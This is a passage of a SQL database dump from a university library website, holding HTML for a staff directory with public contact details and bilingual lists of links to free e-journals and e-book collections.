(+994 12) 421 10 93 (263)  </p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/CV%20Samira%20-NEW%20-eng.pdf\"><img src=\"/files/library/samira_o.jpg\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samirə Orucova</a></strong></p><p><strong><strong>Kataloqlaşdırma bölməsinin müdiri</strong><br></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:shuseynova@khazar.org\"><span style=\"font-size:13.5pt;line-height:107%\">shuseynova[at]khazar.org</span></a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Jafarova%20Aziza%20eng.pdf\"><img src=\"/files/library/aziza_j.png\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Əzizə Cəfərli</a><br></strong></p><p><strong><strong><strong>Oxuculara xidmət bölməsinin müdiri</strong></strong>  <br></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:jaziza@khazar.org\">jaziza[at]khazar.org</a></p> <p><strong></strong><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Jamila%20Guliyeva%20eng.pdf\"><img src=\"/files/library/jamila_g.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Cəmilə Quliyeva</a><br></strong></p><p><strong><strong><strong>Komplektləşdirmə bölməsinin müdiri</strong></strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:cquliyeva@khazar.org\">cquliyeva[at]khazar.org</a>  <a href=\"http://mailto:cquliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Samira%20Safarova%20eng.pdf\"><img src=\"/files/library/samira_s.jpg\" style=\"float:left;width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samira Safarova</a></strong></p><p><strong>Circulation Desk, MBA Library</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:samirasafarova85@gmail.com\">samirasafarova85[at]gmail.com</a>  <a href=\"http://mailto:samirasafarova85@gmail.com\"></a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Gunay%20Muradova%20eng.pdf\"><img src=\"/files/library/gunay_m.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Gunay Muradova</a></strong></p><p><strong>Circulation Desk, MBA kitabxanası</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gunaymuradova80@gmail.com\">gunaymuradova80[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/gunel%20narimanova%20cv.pdf\"><img src=\"/files/library/gunel_dos.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:182px\">Günel Dostuyeva</a></strong></p><p><strong><strong>Kataloqlaşdırma bölməsinin müdir müavini</strong>  <strong></strong></strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gdostuyeva@khazar.org\">gdostuyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Aygun%20Gurbanova%20eng.pdf\"><img src=\"/files/library/aygun_g.jpg\" style=\"float:left;width:150px;height:263px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aygün Qurbanova</a></strong></p><p><strong>Kitabxanaçı</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:agurbanova@khazar.org\">agurbanova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Aynur%20Tagiyeva%20eng.pdf\"><img src=\"/files/library/aynur_t.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:245px\">Aynur Tağıyeva</a></strong></p><p><strong></strong><strong>Kitabxanaçı</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:a.tagiyeva@khazar.org\">a.tagiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"http://www.khazar.org/files/library/esmira_g.jpg\" style=\"float:left;width:150px;height:214px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://library.khazar.org/files/Esmira%20Gurbanova%20eng.pdf\">Esmira Qurbanova</a></strong></p><p><strong><strong>Kitabxanaçı</strong>  </strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:equrbanova@khazar.org\">equrbanova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/library/esmira_m.JPG\" style=\"float:left;width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://library.khazar.org/files/Esmira%20Mehdiyeva%20eng.pdf\">Esmira Mehdiyeva</a></strong></p><p><strong><strong>Kitabxanaçı</strong>  </strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:emehtiyeva@khazar.org\">emehtiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/library/parvin_m.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://library.khazar.org/files/Parvin%20Mammedova%20eng%20cv.pdf\">Pərvin Məmmədova</a></strong></p><p><strong></strong><strong>Kitabxanaçı</strong>   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:pmammadova@khazar.org\">pmammadova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Aynura%20Babayeva%20eng%20cv.pdf\"><img src=\"/files/library/aynura_b.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aynurə Babayeva</a></strong></p><p><strong></strong><strong>Kitabxanaçı</strong>   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ababayeva@khazar.org\">ababayeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Günel Əliyeva</strong></p><p><strong></strong><strong>Kitabxanaçı</strong>   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:galiyeva@khazar.org\">galiyeva[at]khazar.org</a>  </p>'),(4945,2885,'az','Rəqəmsal Kitabxana','Rəqəmsal Kitabxana','<p>A digital library is a collection of documents in organized electronic form, available on the Internet or on CD-ROM (compact-disk read-only memory) disks. Depending on the specific library, a user may be able to access magazine articles, books, papers, images, sound files, and videos.  </p>'),(4946,2885,'en','Digital Library','Digital Library','<p>A digital library is a collection of documents in organized electronic form, available on the Internet or on CD-ROM (compact-disk read-only memory) disks. Depending on the specific library, a user may be able to access magazine articles, books, papers, images, sound files, and videos.  </p>'),(4947,2887,'en','Collections','Collections',''),(4948,2887,'az','Kolleksiyalar','Kolleksiyalar',''),(4949,2889,'az','Haqqımızda','Haqqımızda',''),(4950,2889,'en','About Us','About Us',''),(4951,2890,'en','DSpace Repository','DSpace Repository',''),(4952,2890,'az','DSpace Arxivi','DSpace Arxivi',''),(4953,2892,'az','E-jurnallar','E-jurnallar','<p><a href=\"http://www.biomedcentral.com/journals\"><strong>BioMed Central</strong></a><strong></strong>&nbsp;</p><p>Collection of over 180 peer-reviewed, open access medical journals.</p><p><strong><br></strong></p><p><strong><a href=\"http://bmjopen.bmj.com/\">BMJ Open</a></strong></p><p>An open access, online-only general medical journal dedicated to publishing research from all disciplines and therapeutic areas.</p><p><strong><br></strong></p><p><strong><a href=\"https://www.nap.edu/\">National Academies Press</a></strong></p><p>Freely available collection of reports issued by the U.S. National Academy of Sciences, the National Academy of Engineering, the Institute of Medicine, and the National Research Council. The NAP publishes on a wide range of topics in science, engineering, and health. Many titles are in digital PDF format.</p><p><strong><br></strong></p><p><strong><a href=\"http://www.ndltd.org/\">Networked Digital Library of Theses snd Dissertations (NDLTD)</a></strong></p><p>Free access to the abstracts and full text of many theses, mainly from&nbsp;USA and&nbsp;Canada but also from other countries. Searchable.</p><p><strong><br></strong></p><p><strong><a href=\"http://nopr.niscair.res.in/\">NISCAIR Online Periodicals Repository</a></strong></p><p>Freely available full text articles from journals published by the National Institute of Science Communication and Information Resources (India).</p><p><strong><br></strong></p><p><strong><a href=\"http://www.ncbi.nlm.nih.gov/pmc/\">PubMed Central</a></strong></p><p>A free archive of life sciences journals.</p><p><strong>&nbsp;</strong></p>'),(4954,2892,'en','EJournals','EJournals','<p><a href=\"http://www.biomedcentral.com/journals\"><strong>BioMed Central</strong></a><strong></strong>&nbsp;</p><p>Collection of over 180 peer-reviewed, open access medical journals.</p><p><strong><br></strong></p><p><strong><a href=\"http://bmjopen.bmj.com/\">BMJ Open</a></strong></p><p>An open access, online-only general medical journal dedicated to publishing research from all disciplines and therapeutic areas.</p><p><strong><br></strong></p><p><strong><a href=\"https://www.nap.edu/\">National Academies Press</a></strong></p><p>Freely available collection of reports issued by the U.S. National Academy of Sciences, the National Academy of Engineering, the Institute of Medicine, and the National Research Council. The NAP publishes on a wide range of topics in science, engineering, and health. Many titles are in digital PDF format.</p><p><strong><br></strong></p><p><strong><a href=\"http://www.ndltd.org/\">Networked Digital Library of Theses snd Dissertations (NDLTD)</a></strong></p><p>Free access to the abstracts and full text of many theses, mainly from&nbsp;USA and&nbsp;Canada but also from other countries. Searchable.</p><p><strong><br></strong></p><p><strong><a href=\"http://nopr.niscair.res.in/\">NISCAIR Online Periodicals Repository</a></strong></p><p>Freely available full text articles from journals published by the National Institute of Science Communication and Information Resources (India).</p><p><strong><br></strong></p><p><strong><a href=\"http://www.ncbi.nlm.nih.gov/pmc/\">PubMed Central</a></strong></p><p>A free archive of life sciences journals.</p><strong>&nbsp;</strong>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (4955,2893,'az','EKitablar','EKitablar','<p><strong><a href=\"http://www.ams.org/publications/online-books/onlinebkshome\">AMS Books Online</a></strong></p><p>Around 30 free e-books published by the American Mathematical Society on a range of mathematical topics, including analysis, differential equations, mathematical physics, logic and number theory. In PDF format - Adobe Acrobat required.</p><p><br></p><p><strong><a href=\"http://ads.ahds.ac.uk/catalogue/library/cba/rrs.cfm?CFID=125785&amp;CFTOKEN=7641553\">ArchSearch</a></strong></p><p><strong><a href=\"http://ads.ahds.ac.uk/catalogue/library/cba/rrs.cfm?CFID=125785&amp;CFTOKEN=7641553\"></a></strong>A Freely available catalogue from the Council for British Archeaology which contains records of over 1 million archaeological sites and monuments. Archived data includes fieldwork projects and lab-based studies which can be downloaded and analysed off line.</p><p><br></p><p><strong><a href=\"http://kitablar.org/\">Azerbaijan Free ebook Library</a></strong></p><p>1151 full text books in 50 categories in Azeri , English, Farsi and other languages</p><p><br></p><p><strong><a href=\"http://www.bartleby.com/\">Bartleby</a></strong></p><p>Freely available collection of modern reference books, and historical anthologies of poetry, classic literary works, including Shakespeare, fiction and non-fiction titles.</p><p><br></p><p><strong><a href=\"http://www.beazley.ox.ac.uk/index.htm\">Beazley Archive</a></strong></p><p><strong><a href=\"http://www.beazley.ox.ac.uk/index.htm\"></a></strong>A freely available database on classical antiquities, built on the Joh Beazley collection. Includes photograph, drawings, and images of artefacts, a dictionary, books, and a searchable database. Sections on Greek art, pottery, gems, and sculpture.</p><p><br></p><p><strong><a href=\"http://www.benthamscience.com/open/index.htm\">Bentham Open Access</a>&nbsp;</strong></p><p><strong></strong>A collection of over 200 peer-reviewed open access journals in all disciplines</p><p><strong><br></strong></p><p><strong><a href=\"http://www.mybebook.com/download_free_ebook/\" target=\"_blank\">BeBook</a></strong></p><p><strong><a href=\"http://www.mybebook.com/download_free_ebook/\" target=\"_blank\"></a></strong>Over 20000 free classic titles for download as PDF or text file.</p><p><br></p><p><strong><a href=\"http://www.bibliomania.com/\">Bibliomania</a>&nbsp;</strong></p><p><strong></strong>Thousands of free eBooks, poems, articles, short stories and plays. Also study guides, dictionaries, biographies, religious texts, and popular non-fiction.</p><p><br></p><p><strong><a href=\"http://www.bookyards.com/\">Bookyards</a>&nbsp;</strong></p><p><strong></strong>A large free online library, containing free digital books, journals, reference.</p><p><strong><br></strong></p><p><strong><a href=\"http://darwin-online.org.uk/\">Charles Darwin Online</a></strong></p><p>This site contains everyDarwin publication as well as many of his handwritten manuscripts - more than 50,000 searchable text pages and 40,000 images.</p><p><br></p><p><strong><a href=\"http://www.computer-books.us/\">Computer Books</a></strong><strong>&nbsp;</strong></p><p><strong></strong>Highest quality computer books all of which are available for free download.free</p><p><br></p><p><strong><a href=\"http://arxiv.org/\">Cornell University Library</a></strong></p><p>Physics, mathematics, computer science and quantitative biology. Open access to 428,177 e-prints.</p><p><br></p><p><strong><a href=\"http://www.eldis.org/\">ELDIS</a></strong></p><p><strong><a href=\"http://www.eldis.org/\"></a></strong>A free resource of over 26,000 full text documents for development research. International development. Full text documents, resource guides, country profiles.</p><p><br></p><p><strong><a href=\"http://www.ipl.org/div/ereader/\" target=\"_blank\">eReader Resources - ipl2 Special Collection</a></strong></p><p><strong><a href=\"http://www.ipl.org/div/ereader/\" target=\"_blank\"></a></strong>A place where you can explore the world of eReaders and eBooks.</p><p><br></p><p><strong><a href=\"http://www.gutenberg.org/\">Free eBooks by Project Gutenberg</a></strong></p><p><strong><a href=\"http://www.gutenberg.org/\"></a></strong><strong>Project Gutenberg</strong>&nbsp;offers over 36,000 free ebooks to download to your PC,&nbsp;<a title=\"Gutenberg:MobileReader Devices How-To\" href=\"http://www.gutenberg.org/wiki/Gutenberg:MobileReader_Devices_How-To\">Kindle, Android, iOS or other portable device</a><strong>&nbsp;</strong></p><p><br></p><p><strong></strong><strong><a href=\"http://adolgin.com/?gclid=CMTElLHLzagCFY8j3wodni5zgg\">Free Book on Economics</a></strong></p><p><strong><a href=\"http://adolgin.com/?gclid=CMTElLHLzagCFY8j3wodni5zgg\"></a></strong>Book by Alexander Dolgin.&nbsp;Manifesto of the New Economy!<br></p><p><br></p><h2>Free Tech Ebooks</h2><p><strong><a href=\"http://freecomputerbooks.com/\">www.freecomputerbooks.com</a></strong></p><p><strong><a href=\"http://freecomputerbooks.com/\"></a></strong><strong><a href=\"http://www.freetechbooks.com/\">www.freetechbooks.com</a></strong></p><p><strong><a href=\"http://www.freetechbooks.com/\"></a></strong><strong><a href=\"http://www.onlinecomputerbooks.com/\">www.onlinecomputerbooks.com</a></strong></p><p><strong><a href=\"http://www.onlinecomputerbooks.com/\"></a></strong><strong><a href=\"http://www.getfreeebooks.com/?page_id=6\">Getfreeebooks</a></strong></p><p><strong><a href=\"http://www.getfreeebooks.com/?page_id=6\"></a></strong>All the ebooks within this site are legal downloadable free ebooks<strong>-</strong></p><p><br></p><p><a href=\"http://www.horrormasters.com/sub-genre.htm\" target=\"_blank\"><strong></strong><strong>HorrorMasters</strong></a></p><p><a href=\"http://www.horrormasters.com/sub-genre.htm\" target=\"_blank\"></a>A collections of horror short stories with a variety of themes. Thousands to browse and view.</p><p><br></p><p><strong><a href=\"http://www.ipl.org/\">Internet Public Library</a></strong><strong>&nbsp;</strong></p><p>45000+ full text works, fiction and non-fiction plus online reference works. Divided into subject collections for easy browsing but also fully searchable.</p><p><br></p><p><a href=\"http://ibiblio.org/\" target=\"_blank\"><strong>ibiblio</strong></a></p><p><a href=\"http://ibiblio.org/\" target=\"_blank\"></a>\"Home to one of the largest \'collections of collections\' on the Internet, ibiblio.org is a conservancy of freely available information, including software, music, literature, art, history, science, politics, and cultural studies.\" There\'s a little of something for everyone here -- a good place to browse.</p><p><br></p><p><strong><a href=\"http://www.netlibrary.com/ListContent.aspx?pa=true&amp;cc=1\">NetLibrary free titles</a></strong></p><p>Over 3,000 out of copyright works, including the Bible, Shakespeare, and classic works of literature and philosophy</p><p><br></p><p><strong><a href=\"http://www.nicestories.com/\" target=\"_blank\">Nicestories.Com</a></strong></p><p><strong><a href=\"http://www.nicestories.com/\" target=\"_blank\"></a></strong>Features original short stories submitted by non-professional authors on a variety of subjects, including mysteries, science fiction &amp; fantasy, romance, and humor.</p><p><br></p><p><strong><a href=\"http://digital.library.upenn.edu/books/\">Online Books Page</a></strong></p><p>It is a website that facilitates access to books that are freely readable over the Internet.</p><p><br></p><p><strong><a href=\"http://ota.ahds.ac.uk/\">Oxford Text Archive</a></strong></p><p><strong><a href=\"http://ota.ahds.ac.uk/\"></a></strong>The Archive holds several thousand electronic texts and linguistic corpora, in a variety of languages. Includes online versions of works by individual authors, standard reference works such as the Bible and mono/bilingual dictionaries, and a range of language corpora. Searchable by author or title.</p><p><br></p><p><strong><a href=\"http://publicliterature.org/2007/08/11/online_books/\" target=\"_blank\">PublicLiterature.Org.&nbsp; Read Books Online</a></strong></p><p><strong><a href=\"http://publicliterature.org/2007/08/11/online_books/\" target=\"_blank\"></a></strong>Check out free full text and audio classic works from Public Literature.org. News and information is posted for readers and aspiring writers. The site features works by Jane Austen, Leo Tolstoy, Charles Dickens, Herman Melville, Leonardo da Vinci and many more.</p><p><br></p><p><strong><a href=\"http://www.poetryarchive.org/poetryarchive/home.do\">Poetry archive</a></strong></p><p>A freely available, searchable online collection of recordings of poets reading their work.&nbsp; with a video introduction to the archive.</p><p>&nbsp;</p><p><strong><a href=\"http://www.gutenberg.org/wiki/Main_Page\">Project Gutenberg</a></strong></p><p><strong><a href=\"http://www.gutenberg.org/wiki/Main_Page\"></a></strong>A collection of over 13,000 freely-available eBooks. Searchable, with list of \"top\" authors and titles.</p><p>&nbsp;</p><p><strong><a href=\"http://www.readprint.com/\">Read Print</a></strong></p><p>Freely available collection of classic fiction, poetry, essays and non-fiction. Includes all Shakespeare plays, and biographies of authors.</p><p>&nbsp;</p><p><strong><a href=\"http://rpo.library.utoronto.ca/display/\" target=\"_blank\">Representative Poetry On-line</a></strong></p><p>Large free online library of poems.</p><p><strong>&nbsp;</strong></p><p><strong><a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BWkCFHOXATfTvJZDf_AathqWBAoyBkboBnKOhjBrAjbcB4MUIEAQYBCDjh4ANKAQ4AFCOpfSm-P____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqAMB6APgBOgDFvUDAAAARA&amp;num=4&amp;sig=AGiWqtyD9nu3VgYqhBNORsREWe7Ml0ywWQ&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.danieljaypaul.com\" target=\"_blank\">Romance Novel Excerpt</a>&nbsp;</strong><a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BWkCFHOXATfTvJZDf_AathqWBAoyBkboBnKOhjBrAjbcB4MUIEAQYBCDjh4ANKAQ4AFCOpfSm-P____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqAMB6APgBOgDFvUDAAAARA&amp;num=4&amp;sig=AGiWqtyD9nu3VgYqhBNORsREWe7Ml0ywWQ&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.danieljaypaul.com\" target=\"_blank\">www.danieljaypaul.com</a></p><p>\"The Last Sunset\", an enduring love&nbsp;story by novelist Daniel Jay Paul.</p><p><br></p><p><strong><a href=\"http://my.safaribooksonline.com/book/electrical-engineering/semiconductor-technology/9780137046393/interfacing-with-the-analog-world/ch14lev1sec3\">Safari Books online</a></strong></p><p>Digital library with more than 10,000 books, videos for technology, creative and business professionals.</p><p><br><strong><a href=\"http://www.nature.com/scitable\">Scitable</a></strong></p><p>A free educational research resource on genetics and evolution for teachers and students from Nature Publishing. Contains over 150 evidence-based articles. With \"topic rooms\", group discussion capabilities, \"ask and expert\" and creatable classroom space.</p><p><br></p><p><strong><a href=\"http://www-tech.mit.edu/Shakespeare/works.html\" target=\"_blank\">Shakespeare</a></strong></p><p>The Complete Works of William Shakespeare, online for free.</p><p><br></p><p><strong><a href=\"http://nsdl.org/\" target=\"_blank\">The National Science Digital Library</a></strong></p><p>An online science library with links to high quality science, technology, engineering, and math resources for K-12 teachers, faculty, librarians, students and informal learners.</p><p><br></p><p><strong><a href=\"http://publishing.cdlib.org/ucpressebooks/search?facet=subject;rights=Public;style=eschol;brand=eschol\">UC Press E-Books Collection, 1982-2004 (formerly eScholarship editions)</a></strong></p><p>More than 500 free electronic editions of academic books published by the&nbsp;University of&nbsp;California Press, mainly in the humanities, religion, history, literature, arts and social sciences.</p><p><br></p><p><strong><a href=\"http://search.lib.virginia.edu/catalog?f%5bsource_facet%5d%5b%5d=Digital+Library\">VIRGO (previously the Electronic Text Center)</a></strong></p><p>Thousands of publicly available texts and images including history, literature, philosophy, religion, and history of science. Includes rare books, manuscripts, book illustrations and photographs from theUniversity ofVirgina Library.</p><p><br></p><p><strong><a href=\"http://econ.worldbank.org/WBSITE/EXTERNAL/EXTDEC/0,,menuPK:476823~pagePK:64165236~piPK:64165141~theSitePK:469372,00.html\">World Bank : data and research</a></strong></p><p>National and international statistics, and searchable full text of policy research reports, world development reports and indicators and other documents.</p><p><br></p><p><strong><a href=\"http://www.wdl.org/en/\">World Digital Library</a></strong></p><p><strong><a href=\"http://www.wdl.org/en/\"></a></strong>Freely available primary materials from countries and cultures around the world, comprising images, sound recordings, journals and movies.</p><p><br></p><p><strong><a href=\"http://www.worldwideschool.org/\" target=\"_blank\">World Wide School Library</a></strong></p><p>Over 2,000 free online eBooks on a variety of subjects.</p>'),(4956,2893,'en','EBooks','EBooks','<p><strong><a href=\"http://www.ams.org/publications/online-books/onlinebkshome\">AMS Books Online</a></strong></p><p>Around 30 free e-books published by the American Mathematical Society on a range of mathematical topics, including analysis, differential equations, mathematical physics, logic and number theory. In PDF format - Adobe Acrobat required.</p><p><br></p><p><strong><a href=\"http://ads.ahds.ac.uk/catalogue/library/cba/rrs.cfm?CFID=125785&amp;CFTOKEN=7641553\">ArchSearch</a></strong></p><p><strong><a href=\"http://ads.ahds.ac.uk/catalogue/library/cba/rrs.cfm?CFID=125785&amp;CFTOKEN=7641553\"></a></strong>A Freely available catalogue from the Council for British Archeaology which contains records of over 1 million archaeological sites and monuments. Archived data includes fieldwork projects and lab-based studies which can be downloaded and analysed off line.</p><p><br></p><p><strong><a href=\"http://kitablar.org/\">Azerbaijan Free ebook Library</a></strong></p><p>1151 full text books in 50 categories in Azeri , English, Farsi and other languages</p><p><br></p><p><strong><a href=\"http://www.bartleby.com/\">Bartleby</a></strong></p><p>Freely available collection of modern reference books, and historical anthologies of poetry, classic literary works, including Shakespeare, fiction and non-fiction titles.</p><p><br></p><p><strong><a href=\"http://www.beazley.ox.ac.uk/index.htm\">Beazley Archive</a></strong></p><p><strong><a href=\"http://www.beazley.ox.ac.uk/index.htm\"></a></strong>A freely available database on classical antiquities, built on the Joh Beazley collection. Includes photograph, drawings, and images of artefacts, a dictionary, books, and a searchable database. Sections on Greek art, pottery, gems, and sculpture.</p><p><br></p><p><strong><a href=\"http://www.benthamscience.com/open/index.htm\">Bentham Open Access</a>&nbsp;</strong></p><p><strong></strong>A collection of over 200 peer-reviewed open access journals in all disciplines</p><p><strong><br></strong></p><p><strong><a href=\"http://www.mybebook.com/download_free_ebook/\" target=\"_blank\">BeBook</a></strong></p><p><strong><a href=\"http://www.mybebook.com/download_free_ebook/\" target=\"_blank\"></a></strong>Over 20000 free classic titles for download as PDF or text file.</p><p><br></p><p><strong><a href=\"http://www.bibliomania.com/\">Bibliomania</a>&nbsp;</strong></p><p><strong></strong>Thousands of free eBooks, poems, articles, short stories and plays. Also study guides, dictionaries, biographies, religious texts, and popular non-fiction.</p><p><br></p><p><strong><a href=\"http://www.bookyards.com/\">Bookyards</a>&nbsp;</strong></p><p><strong></strong>A large free online library, containing free digital books, journals, reference.</p><p><strong><br></strong></p><p><strong><a href=\"http://darwin-online.org.uk/\">Charles Darwin Online</a></strong></p><p>This site contains everyDarwin publication as well as many of his handwritten manuscripts - more than 50,000 searchable text pages and 40,000 images.</p><p><br></p><p><strong><a href=\"http://www.computer-books.us/\">Computer Books</a></strong><strong>&nbsp;</strong></p><p><strong></strong>Highest quality computer books all of which are available for free download.free</p><p><br></p><p><strong><a href=\"http://arxiv.org/\">Cornell University Library</a></strong></p><p>Physics, mathematics, computer science and quantitative biology. Open access to 428,177 e-prints.</p><p><br></p><p><strong><a href=\"http://www.eldis.org/\">ELDIS</a></strong></p><p><strong><a href=\"http://www.eldis.org/\"></a></strong>A free resource of over 26,000 full text documents for development research. International development. Full text documents, resource guides, country profiles.</p><p><br></p><p><strong><a href=\"http://www.ipl.org/div/ereader/\" target=\"_blank\">eReader Resources - ipl2 Special Collection</a></strong></p><p><strong><a href=\"http://www.ipl.org/div/ereader/\" target=\"_blank\"></a></strong>A place where you can explore the world of eReaders and eBooks.</p><p><br></p><p><strong><a href=\"http://www.gutenberg.org/\">Free eBooks by Project Gutenberg</a></strong></p><p><strong><a href=\"http://www.gutenberg.org/\"></a></strong><strong>Project Gutenberg</strong>&nbsp;offers over 36,000 free ebooks to download to your PC,&nbsp;<a title=\"Gutenberg:MobileReader Devices How-To\" href=\"http://www.gutenberg.org/wiki/Gutenberg:MobileReader_Devices_How-To\">Kindle, Android, iOS or other portable device</a><strong>&nbsp;</strong></p><p><br></p><p><strong></strong><strong><a href=\"http://adolgin.com/?gclid=CMTElLHLzagCFY8j3wodni5zgg\">Free Book on Economics</a></strong></p><p><strong><a href=\"http://adolgin.com/?gclid=CMTElLHLzagCFY8j3wodni5zgg\"></a></strong>Book by Alexander Dolgin.&nbsp;Manifesto of the New Economy!<br></p><p><br></p><h2>Free Tech Ebooks</h2><p><strong><a href=\"http://freecomputerbooks.com/\">www.freecomputerbooks.com</a></strong></p><p><strong><a href=\"http://freecomputerbooks.com/\"></a></strong><strong><a href=\"http://www.freetechbooks.com/\">www.freetechbooks.com</a></strong></p><p><strong><a href=\"http://www.freetechbooks.com/\"></a></strong><strong><a href=\"http://www.onlinecomputerbooks.com/\">www.onlinecomputerbooks.com</a></strong></p><p><strong><a href=\"http://www.onlinecomputerbooks.com/\"></a></strong><strong><a href=\"http://www.getfreeebooks.com/?page_id=6\">Getfreeebooks</a></strong></p><p><strong><a href=\"http://www.getfreeebooks.com/?page_id=6\"></a></strong>All the ebooks within this site are legal downloadable free ebooks<strong>-</strong></p><p><br></p><p><a href=\"http://www.horrormasters.com/sub-genre.htm\" target=\"_blank\"><strong></strong><strong>HorrorMasters</strong></a></p><p><a href=\"http://www.horrormasters.com/sub-genre.htm\" target=\"_blank\"></a>A collections of horror short stories with a variety of themes. Thousands to browse and view.</p><p><br></p><p><strong><a href=\"http://www.ipl.org/\">Internet Public Library</a></strong><strong>&nbsp;</strong></p><p>45000+ full text works, fiction and non-fiction plus online reference works. Divided into subject collections for easy browsing but also fully searchable.</p><p><br></p><p><a href=\"http://ibiblio.org/\" target=\"_blank\"><strong>ibiblio</strong></a></p><p><a href=\"http://ibiblio.org/\" target=\"_blank\"></a>\"Home to one of the largest \'collections of collections\' on the Internet, ibiblio.org is a conservancy of freely available information, including software, music, literature, art, history, science, politics, and cultural studies.\" There\'s a little of something for everyone here -- a good place to browse.</p><p><br></p><p><strong><a href=\"http://www.netlibrary.com/ListContent.aspx?pa=true&amp;cc=1\">NetLibrary free titles</a></strong></p><p>Over 3,000 out of copyright works, including the Bible, Shakespeare, and classic works of literature and philosophy</p><p><br></p><p><strong><a href=\"http://www.nicestories.com/\" target=\"_blank\">Nicestories.Com</a></strong></p><p><strong><a href=\"http://www.nicestories.com/\" target=\"_blank\"></a></strong>Features original short stories submitted by non-professional authors on a variety of subjects, including mysteries, science fiction &amp; fantasy, romance, and humor.</p><p><br></p><p><strong><a href=\"http://digital.library.upenn.edu/books/\">Online Books Page</a></strong></p><p>It is a website that facilitates access to books that are freely readable over the Internet.</p><p><br></p><p><strong><a href=\"http://ota.ahds.ac.uk/\">Oxford Text Archive</a></strong></p><p><strong><a href=\"http://ota.ahds.ac.uk/\"></a></strong>The Archive holds several thousand electronic texts and linguistic corpora, in a variety of languages. Includes online versions of works by individual authors, standard reference works such as the Bible and mono/bilingual dictionaries, and a range of language corpora. Searchable by author or title.</p><p><br></p><p><strong><a href=\"http://publicliterature.org/2007/08/11/online_books/\" target=\"_blank\">PublicLiterature.Org.&nbsp; Read Books 